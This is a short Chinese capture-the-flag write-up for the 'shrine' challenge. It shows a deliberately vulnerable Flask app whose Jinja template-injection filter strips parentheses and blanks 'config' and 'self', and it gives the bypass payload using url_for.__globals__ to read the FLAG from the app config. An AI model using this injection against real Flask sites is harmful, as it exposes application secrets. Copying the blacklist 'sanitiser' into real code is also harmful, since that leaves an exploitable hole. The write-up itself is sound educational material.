攻防世界-shrine wp

 首先打开场景

 右击查看源代码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

具体就是flask在shrine路径下，将“（”“）”替换成了空白字符串，将‘config’和‘self‘加入了黑名单。

通过特殊姿势读取文件，构造payload

{{url_for.__globals__['current_app'].config.FLAG}}

拿到flag

 附上知识点参考：

SSTI模板注入总结_goddemon-优快云博客

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